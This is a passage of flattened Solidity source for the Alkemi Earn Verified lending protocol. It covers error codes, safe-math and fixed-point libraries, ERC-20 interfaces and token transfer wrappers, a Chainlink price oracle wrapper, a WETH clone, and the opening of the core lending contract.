SUPPLY_MARKET_NOT_SUPPORTED,
SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
SUPPLY_TRANSFER_IN_FAILED,
SUPPLY_TRANSFER_IN_NOT_POSSIBLE,
SUPPORT_MARKET_FETCH_PRICE_FAILED,
SUPPORT_MARKET_OWNER_CHECK,
SUPPORT_MARKET_PRICE_CHECK,
SUSPEND_MARKET_OWNER_CHECK,
WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
WITHDRAW_ACCOUNT_SHORTFALL_PRESENT,
WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL,
WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED,
WITHDRAW_CAPACITY_CALCULATION_FAILED,
WITHDRAW_CONTRACT_PAUSED,
WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
WITHDRAW_TRANSFER_OUT_FAILED,
WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE,
KYC_ADMIN_CHECK_FAILED,
KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
KYC_CUSTOMER_VERIFICATION_CHECK_FAILED,
LIQUIDATOR_CHECK_FAILED,
LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
SET_WETH_ADDRESS_ADMIN_CHECK_FAILED,
WETH_ADDRESS_NOT_SET_ERROR,
SEND_ETHER_ADMIN_CHECK_FAILED,
ETHER_AMOUNT_MISMATCH_ERROR
}
/**
* @dev use this when reporting a known error from the Alkemi Earn Verified or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(FailureInfo info, uint256 opaqueError)
internal
returns (uint256)
{
emit Failure(uint256(Error.OPAQUE_ERROR), uint256(info), opaqueError);
return uint256(Error.OPAQUE_ERROR);
}
}
// File: contracts/CarefulMath.sol
// Cloned from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol -> Commit id: 24a0bc2
// and added custom functions related to Alkemi
pragma solidity 0.4.24;
/**
* @title Careful Math
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
*/
contract CarefulMath is ErrorReporter {
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (a == 0) {
return (Error.NO_ERROR, 0);
}
uint256 c = a * b;
if (c / a != b) {
return (Error.INTEGER_OVERFLOW, 0);
} else {
return (Error.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (b == 0) {
return (Error.DIVISION_BY_ZERO, 0);
}
return (Error.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (b <= a) {
return (Error.NO_ERROR, a - b);
} else {
return (Error.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (Error, uint256) {
uint256 c = a + b;
if (c >= a) {
return (Error.NO_ERROR, c);
} else {
return (Error.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSub(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (Error, uint256) {
(Error err0, uint256 sum) = add(a, b);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return sub(sum, c);
}
}
// File: contracts/Exponential.sol
// Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a
pragma solidity 0.4.24;
contract Exponential is ErrorReporter, CarefulMath {
// Per https://solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables
// the optimizer MAY replace the expression 10**18 with its calculated value.
uint256 constant expScale = 10**18;
uint256 constant halfExpScale = expScale / 2;
struct Exp {
uint256 mantissa;
}
uint256 constant mantissaOne = 10**18;
// Though unused, the below variable cannot be deleted as it will hinder upgradeability
// Will be cleared during the next compiler version upgrade
uint256 constant mantissaOneTenth = 10**17;
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint256 num, uint256 denom)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(Error err1, uint256 rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error error, uint256 result) = add(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error error, uint256 result) = sub(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint256 scalar)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 scaledMantissa) = mul(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint256 scalar)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 descaledMantissa) = div(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint256 scalar, Exp divisor)
internal
pure
returns (Error, Exp memory)
{
/*
We are doing this as:
getExp(mul(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(Error err0, uint256 numerator) = mul(expScale, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(Error err1, uint256 doubleScaledProductWithHalfScale) = add(
halfExpScale,
doubleScaledProduct
);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(Error err2, uint256 product) = div(
doubleScaledProductWithHalfScale,
expScale
);
// The only error `div` can return is Error.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == Error.NO_ERROR);
return (Error.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * (10**18)}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if first Exp is greater than second Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
}
// File: contracts/InterestRateModel.sol
pragma solidity 0.4.24;
/**
* @title InterestRateModel Interface
* @notice Any interest rate model should derive from this contract.
* @dev These functions are specifically not marked `pure` as implementations of this
* contract may read from storage variables.
*/
contract InterestRateModel {
/**
* @notice Gets the current supply interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the supply interest rate per block scaled by 10e18
*/
function getSupplyRate(
address asset,
uint256 cash,
uint256 borrows
) public view returns (uint256, uint256);
/**
* @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the borrow interest rate per block scaled by 10e18
*/
function getBorrowRate(
address asset,
uint256 cash,
uint256 borrows
) public view returns (uint256, uint256);
}
// File: contracts/EIP20Interface.sol
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity 0.4.24;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
// total amount of tokens
uint256 public totalSupply;
// token decimals
uint8 public decimals; // maximum is 18 decimals
/**
* @param _owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address _owner) public view returns (uint256 balance);
/**
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transfer(address _to, uint256 _value)
public
returns (bool success);
/**
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool success);
/**
* @notice `msg.sender` approves `_spender` to spend `_value` tokens
* @param _spender The address of the account able to transfer the tokens
* @param _value The amount of tokens to be approved for transfer
* @return Whether the approval was successful or not
*/
function approve(address _spender, uint256 _value)
public
returns (bool success);
/**
* @param _owner The address of the account owning tokens
* @param _spender The address of the account able to transfer the tokens
* @return Amount of remaining tokens allowed to spent
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
// File: contracts/EIP20NonStandardInterface.sol
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity 0.4.24;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
contract EIP20NonStandardInterface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
// total amount of tokens
uint256 public totalSupply;
/**
* @param _owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address _owner) public view returns (uint256 balance);
/**
* !!!!!!!!!!!!!!
* !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
* !!!!!!!!!!!!!!
*
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transfer(address _to, uint256 _value) public;
/**
*
* !!!!!!!!!!!!!!
* !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
* !!!!!!!!!!!!!!
*
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public;
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value)
public
returns (bool success);
/**
* @param _owner The address of the account owning tokens
* @param _spender The address of the account able to transfer the tokens
* @return Amount of remaining tokens allowed to spent
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
// File: contracts/SafeToken.sol
pragma solidity 0.4.24;
contract SafeToken is ErrorReporter {
/**
* @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and
* whether or not `from` has a balance of at least `amount`. Does NOT do a transfer.
*/
function checkTransferIn(
address asset,
address from,
uint256 amount
) internal view returns (Error) {
EIP20Interface token = EIP20Interface(asset);
if (token.allowance(from, address(this)) < amount) {
return Error.TOKEN_INSUFFICIENT_ALLOWANCE;
}
if (token.balanceOf(from) < amount) {
return Error.TOKEN_INSUFFICIENT_BALANCE;
}
return Error.NO_ERROR;
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory
* error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to
* insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call,
* and it returned Error.NO_ERROR, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(
address asset,
address from,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transferFrom(from, address(this), amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_FAILED;
}
return Error.NO_ERROR;
}
/**
* @dev Checks balance of this contract in asset
*/
function getCash(address asset) internal view returns (uint256) {
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(address(this));
}
/**
* @dev Checks balance of `from` in `asset`
*/
function getBalanceOf(address asset, address from)
internal
view
returns (uint256)
{
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(from);
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(
address asset,
address to,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transfer(to, amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_OUT_FAILED;
}
return Error.NO_ERROR;
}
function doApprove(
address asset,
address to,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.approve(to, amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_OUT_FAILED;
}
return Error.NO_ERROR;
}
}
// File: contracts/AggregatorV3Interface.sol
pragma solidity 0.4.24;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: contracts/ChainLink.sol
pragma solidity 0.4.24;
contract ChainLink {
mapping(address => AggregatorV3Interface) internal priceContractMapping;
address public admin;
bool public paused = false;
address public wethAddressVerified;
address public wethAddressPublic;
AggregatorV3Interface public USDETHPriceFeed;
uint256 constant expScale = 10**18;
uint8 constant eighteen = 18;
/**
* Sets the admin
* Add assets and set Weth Address using their own functions
*/
constructor() public {
admin = msg.sender;
}
/**
* Modifier to restrict functions only by admins
*/
modifier onlyAdmin() {
require(
msg.sender == admin,
"Only the Admin can perform this operation"
);
_;
}
/**
* Event declarations for all the operations of this contract
*/
event assetAdded(
address indexed assetAddress,
address indexed priceFeedContract
);
event assetRemoved(address indexed assetAddress);
event adminChanged(address indexed oldAdmin, address indexed newAdmin);
event verifiedWethAddressSet(address indexed wethAddressVerified);
event publicWethAddressSet(address indexed wethAddressPublic);
event contractPausedOrUnpaused(bool currentStatus);
/**
* Allows admin to add a new asset for price tracking
*/
function addAsset(address assetAddress, address priceFeedContract)
public
onlyAdmin
{
require(
assetAddress != address(0) && priceFeedContract != address(0),
"Asset or Price Feed address cannot be 0x00"
);
priceContractMapping[assetAddress] = AggregatorV3Interface(
priceFeedContract
);
emit assetAdded(assetAddress, priceFeedContract);
}
/**
* Allows admin to remove an existing asset from price tracking
*/
function removeAsset(address assetAddress) public onlyAdmin {
require(
assetAddress != address(0),
"Asset or Price Feed address cannot be 0x00"
);
priceContractMapping[assetAddress] = AggregatorV3Interface(address(0));
emit assetRemoved(assetAddress);
}
/**
* Allows admin to change the admin of the contract
*/
function changeAdmin(address newAdmin) public onlyAdmin {
require(
newAdmin != address(0),
"Asset or Price Feed address cannot be 0x00"
);
emit adminChanged(admin, newAdmin);
admin = newAdmin;
}
/**
* Allows admin to set the weth address for verified protocol
*/
function setWethAddressVerified(address _wethAddressVerified) public onlyAdmin {
require(_wethAddressVerified != address(0), "WETH address cannot be 0x00");
wethAddressVerified = _wethAddressVerified;
emit verifiedWethAddressSet(_wethAddressVerified);
}
/**
* Allows admin to set the weth address for public protocol
*/
function setWethAddressPublic(address _wethAddressPublic) public onlyAdmin {
require(_wethAddressPublic != address(0), "WETH address cannot be 0x00");
wethAddressPublic = _wethAddressPublic;
emit publicWethAddressSet(_wethAddressPublic);
}
/**
* Allows admin to pause and unpause the contract
*/
function togglePause() public onlyAdmin {
if (paused) {
paused = false;
emit contractPausedOrUnpaused(false);
} else {
paused = true;
emit contractPausedOrUnpaused(true);
}
}
/**
* Returns the latest price scaled to 1e18 scale
*/
function getAssetPrice(address asset) public view returns (uint256, uint8) {
// Return 1 * 10^18 for WETH, otherwise return actual price
if (!paused) {
if ( asset == wethAddressVerified || asset == wethAddressPublic ){
return (expScale, eighteen);
}
}
// Capture the decimals in the ERC20 token
uint8 assetDecimals = EIP20Interface(asset).decimals();
if (!paused && priceContractMapping[asset] != address(0)) {
(
uint80 roundID,
int256 price,
uint256 startedAt,
uint256 timeStamp,
uint80 answeredInRound
) = priceContractMapping[asset].latestRoundData();
startedAt; // To avoid compiler warnings for unused local variable
// If the price data was not refreshed for the past 1 day, prices are considered stale
// This threshold is the maximum Chainlink uses to update the price feeds
require(timeStamp > (now - 86500 seconds), "Stale data");
// If answeredInRound is less than roundID, prices are considered stale
require(answeredInRound >= roundID, "Stale Data");
if (price > 0) {
// Magnify the result based on decimals
return (uint256(price), assetDecimals);
} else {
return (0, assetDecimals);
}
} else {
return (0, assetDecimals);
}
}
function() public payable {
require(
msg.sender.send(msg.value),
"Fallback function initiated but refund failed"
);
}
}
// File: contracts/AlkemiWETH.sol
// Cloned from https://github.com/gnosis/canonical-weth/blob/master/contracts/WETH9.sol -> Commit id: 0dd1ea3
pragma solidity 0.4.24;
contract AlkemiWETH {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
emit Transfer(address(0), msg.sender, msg.value);
}
function withdraw(address user, uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
user.transfer(wad);
emit Withdrawal(msg.sender, wad);
emit Transfer(msg.sender, address(0), wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
// File: contracts/RewardControlInterface.sol
pragma solidity 0.4.24;
contract RewardControlInterface {
/**
* @notice Refresh ALK supply index for the specified market and supplier
* @param market The market whose supply index to update
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) external;
/**
* @notice Refresh ALK borrow index for the specified market and borrower
* @param market The market whose borrow index to update
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function refreshAlkBorrowIndex(
address market,
address borrower,
bool isVerified
) external;
/**
* @notice Claim all the ALK accrued by holder in all markets
* @param holder The address to claim ALK for
*/
function claimAlk(address holder) external;
/**
* @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only
* @param holder The address to claim ALK for
* @param market The address of the market to refresh the indexes for
* @param isVerified Verified / Public protocol
*/
function claimAlk(
address holder,
address market,
bool isVerified
) external;
}
// File: contracts/AlkemiEarnVerified.sol
pragma solidity 0.4.24;
contract AlkemiEarnVerified is Exponential, SafeToken {
uint256 internal initialInterestIndex;
uint256 internal defaultOriginationFee;
uint256 internal defaultCollateralRatio;
uint256 internal defaultLiquidationDiscount;
// minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability
// Values cannot be assigned directly as OpenZeppelin upgrades do not support the same
// Values can only be assigned using initializer() below
// However, there is no way to change the below values using any functions and hence they act as constants
uint256 public minimumCollateralRatioMantissa;
uint256 public maximumLiquidationDiscountMantissa;
bool private initializationDone; // To make sure initializer is called only once
/**
* @notice `AlkemiEarnVerified` is the core contract
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer() public {
if (initializationDone == false) {
initializationDone = true;
admin = msg.sender;
initialInterestIndex = 10**18;
minimumCollateralRatioMantissa = 11 * (10**17); // 1.1
maximumLiquidationDiscountMantissa = (10**17); // 0.1
collateralRatio = Exp({mantissa: 125 * (10**16)});
originationFee = Exp({mantissa: (10**15)});
liquidationDiscount = Exp({mantissa: (10**17)});
// oracle must be configured via _adminFunctions
}
}
/**
* @notice Do not pay directly into AlkemiEarnVerified, please use `supply`.
*/
function() public payable {
revert();
}
/**
* @dev pending Administrator for this contract.
*/
address public pendingAdmin;
/**
* @dev Administrator for this contract. Initially set in constructor, but can
* be changed by the admin itself.
*/
address public admin;
/**
* @dev Managers for this contract with limited permissions. Can
* be changed by the admin.
* Though unused, the below variable cannot be deleted as it will hinder upgradeability
* Will be cleared during the next compiler version upgrade
*/
mapping(address => bool) public managers;
/**
* @dev Account allowed to set oracle prices for this contract. Initially set
* in constructor, but can be changed by the admin.
*/
address private oracle;
/**
* @dev Modifier to check if the caller is the admin of the contract
*/
modifier onlyOwner() {
require(msg.sender == admin, "Owner check failed");
_;
}
/**
* @dev Modifier to check if the caller is KYC verified
*/
modifier onlyCustomerWithKYC() {
require(
customersWithKYC[msg.sender],
"KYC_CUSTOMER_VERIFICATION_CHECK_FAILED"
);
_;
}
/**
* @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin.
*/
ChainLink public priceOracle;
/**
* @dev Container for customer balance information written to storage.
*
* struct Balance {
* principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action
* interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action
* }
*/
struct Balance {
uint256 principal;
uint256 interestIndex;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for borrows
*/
mapping(address => mapping(address => Balance)) public borrowBalances;
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset
* totalSupply = total amount of this asset supplied (in asset wei)
* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint256 blockNumber;
InterestRateModel interestRateModel;
uint256 totalSupply;
uint256 supplyRateMantissa;
uint256 supplyIndex;
uint256 totalBorrows;
uint256 borrowRateMantissa;
uint256 borrowIndex;
}
/**
* @dev wethAddress to hold the WETH token contract address
* set using setWethAddress function
*/
address private wethAddress;
/**
* @dev Initiates the contract for supply and withdraw Ether and conversion to WETH
*/
AlkemiWETH public WETHContract;
/**
* @dev map: assetAddress -> Market
*/
mapping(address => Market) public markets;
/**
* @dev list: collateralMarkets
*/
address[] public collateralMarkets;
/**
* @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This
* is initially set in the constructor, but can be changed by the admin.
*/
Exp public collateralRatio;
/**
* @dev originationFee for new borrows.
*
*/
Exp public originationFee;
/**
* @dev liquidationDiscount for collateral when liquidating borrows
*
*/
Exp public liquidationDiscount;
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
/**
* @dev Mapping to identify the list of KYC Admins
*/
mapping(address => bool) public KYCAdmins;
/**
* @dev Mapping to identify the list of customers with verified KYC
*/
mapping(address => bool) public customersWithKYC;
/**
* @dev Mapping to identify the list of customers with Liquidator roles
*/
mapping(address => bool) public liquidators;
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
